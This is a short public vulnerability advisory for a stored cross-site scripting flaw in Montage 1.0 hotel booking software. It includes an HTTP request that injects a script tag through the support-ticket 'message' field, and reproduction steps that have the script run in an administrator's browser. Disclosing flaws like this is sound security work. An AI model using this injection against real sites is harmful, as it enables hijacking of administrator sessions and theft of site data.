Montage 1.0 Cross Site Scripting

# Exploit Title: Montage 1.0 Hotel Booking & Property Selling - Stored XSS# Exploit Author: CraCkEr# Date: 13/07/2023# Vendor: Bug Finder# Vendor Homepage: https://bugfinder.net/# Software Link: https://bugfinder.net/product/montage-a-complete-solution-for-hotel-booking-property-selling/16# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site## DescriptionAllow Attacker to inject malicious code into website, give ability to steal sensitiveinformation, manipulate data, and launch additional attacks.Path: /montage/user/ticket/createPOST parameter 'message' is vulnerable to XSS-----------------------------------------------------------POST /montage/user/ticket/create HTTP/2Content-Disposition: form-data; name="subject"Anything-----------------------------------------------------------Content-Disposition: form-data; name="message"<script>alert(1)</script>-----------------------------------------------------------## Steps to Reproduce:1. Login as a (Normal User)2. in User [Dashboard] Click on [Support Ticket] on this Path: https://website/montage/user/ticket3. Click on [Create Ticket] on this Path: https://website/montage/user/ticket/create4. Enter Any Subject5. Inject your XSS Payload in [Message Box]6. Click on [Submit]8. When ADMIN visit [SUPPORT TICKETS] on this Path: https://website/montage/admin/tickets and Open the [New Pending Ticket]9. XSS Will Fire and Executed on his Browser[-] Done